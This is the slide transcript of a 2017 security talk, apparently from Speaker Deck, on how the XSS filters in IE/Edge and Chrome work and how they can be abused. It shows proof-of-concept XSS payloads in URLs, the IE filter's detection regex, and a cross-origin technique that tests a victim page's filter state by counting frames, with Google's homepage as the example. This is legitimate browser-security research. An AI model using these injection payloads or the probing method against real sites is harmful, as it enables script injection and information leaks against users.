Upgrade to Pro — share decks privately, control downloads, hide ads and more …

USAGE OF XSS FILTER

USAGE OF XSS FILTER

English version of my presentation in Shibuya.XSS techtalk #9.
Japanese version is here: https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-9

Masato Kinugawa

April 25, 2017
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. How to Control HTTP/1.1 200 OK Date: Tue, 28 Mar

    2017 06:16:00 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
  2. Filter Mechanism of IE/Edge <input value=""><svg #nload=alert#1#>"> <input value="<svg #nload=alert#1#>">

    <!-- <svg #nload=alert(1)> --> https://example.com/?q="><svg+onload=alert(1)>
  3. Filter Mechanism of XSS Auditor <input value=""><svg onload=alert(1)>"> <input value="<svg

    onload=alert(1)>"> <!-- <aaa onload=alert(1)> --> https://example.com/?q="><svg+onload=alert(1)>
  4. Filter's Risk <script src=//example.jp/jquery.js></script> <script> if(jQuery){ // Expected }else{ //

    ??? } </script> https://example.com/?<script src=//example.jp/jquery.js></script>
  5. {<a.*?hr{e}f} {[\"\'][ ]*(([^a-z0-9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])))).+?{\(}.*?{\)}} [...] {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&#x?0 *((66)|(42)|(98)|(62));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53) |(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&#x?0*((67)|(43)|(99)|(63) );?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&#x?0*((82)|(52)|(114)|(72));?))([\t]| (&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9

    |(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(ta b;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=} {<fo{r}m.*?>} {<OPTION[ /+\t].*?va{l}ue[ /+\t]*=} {<INPUT[ /+\t].*?va{l}ue[ /+\t]*=} [...] {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=} [...] Filter Regex of IE/Edge "><svg #nload=alert#1#>
  6. ^ is Safe? window#name// The execution is aborted by the

    syntax error window^name// valid syntax, it is executed as JavaScript window.name <script>
  7. ES6 and XXN https://example.com/?q=";alert`1`// <script> q = "";alert`1`//"; </script> https://www.slideshare.net/x00mario/es6-en/34

    ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else(by Mario Heiderich)
  8. Getting the filter state https://VICTIM/ https://VICTIM/?<xss> IFRAME ERROR https://ATTACKER/ win=window.open(…)

    if(win.length == 0){ //when filter works, //the number of frames is "0" }else{ //normal } <script>…</script>
  9. Checking Google's Homepage HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection:

    1; mode=block X-Frame-Options: SAMEORIGIN ✔ ✔ window.length
  10. Special Conditions(2) google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz

    google.co.uk google.com.br google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(
  11. Investigating filter details 0 <ahref> 1 <aAhref> 2 <aAAhref> 3

    <aAAAhref> 4 <aAAAAhref> 5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/
  12. Investigating filter details 0 <ahref> 1 <aAhref> 2 <aAAhref> 3

    <aAAAhref> 4 <aAAAAhref> 5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> <a%XXhref https://example.com/?<a%2Bhref
  13. Investigating filter details 0 <ahr#f> 1 <aAhr#f> 2 <aAAhr#f> 3

    <aAAAhr#f> 4 <aAAAAhr#f> 5 <aAAAAAhr#f> 6 <aAAAAAAhr#f> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/?<a%2Bhref
  14. 0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_

    A a 0x00 0-9 < B-Z b-z No reaction Result